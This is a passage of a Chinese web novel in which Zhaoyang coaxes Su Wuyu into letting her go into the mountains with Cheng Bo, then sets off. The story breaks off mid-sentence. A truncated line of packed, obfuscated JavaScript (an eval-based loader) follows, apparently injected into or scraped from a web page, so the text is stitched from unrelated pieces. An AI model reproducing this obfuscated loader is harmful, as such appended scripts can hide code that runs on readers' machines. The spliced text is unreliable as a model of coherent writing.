哪知,说到这儿,昭阳就更加振振有词起来了,“那还不是因为我白天都没怎么吃东西,我都是与你一道吃的,你不会不知道的,我白天只喝了半碗小米粥,那是愁的呀。”其实是因为她偷偷在厨房吃了一个烤地瓜,所以不饿。
苏无虞闻言,忆起白天她的反常举动,这回总算是低头不语了。昭阳在一旁将他的情绪尽收眼底,以这些日子自己对他的了解,他这副样子八成已经有点儿动摇了,于是连忙趁胜追击,“我知道你是怕我出事,我向你保证我一定会特别小心的。”说着还不忘继续来回扯着他的衣角,就差冲他摇尾巴了。
沉默了半响,但见苏无虞紧抿的嘴唇终于松了松,“头还晕吗?”他颇为担心地问道。昭阳赶忙委屈地点头,片刻,只听他又一声叹息,“切记一定要跟紧程伯,万事都得听他的,明白吗?”
昭阳闻言如获大赦,赶忙拼命点头,“明白明白,我就知道无虞你最好了。”说着,由于过度的兴奋,也没多想,她一把拽过苏无虞的胳膊直接就用脸在上面蹭了蹭,不过很显然,他似乎被她这特殊的庆祝方式吓到了,整个身体又是明显的一僵。
至此,进山一事就算这么尘埃落定了,虽然夜里睡的时候昭阳还突然有点儿纳闷,她干嘛非要把所有行踪都给他汇报一遍还硬是要征得他的同意呢?她甚至有些怀疑苏无虞之前真的是奴隶吗,为什么到了她这儿他反而更像是主子呢,唉,莫非真的是翻身农奴把歌唱了吗?昭阳百思不解,好一会儿才带着莫名的情绪渐渐进入梦乡。
而后边的一整天,不外乎是程嫂帮着一起整理了必须的行装和工具,就这样,昭阳终于和程伯如期踏上了进山之路。
说起进山,昭阳尤记得临行的那天,她与程伯一人背着一个行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};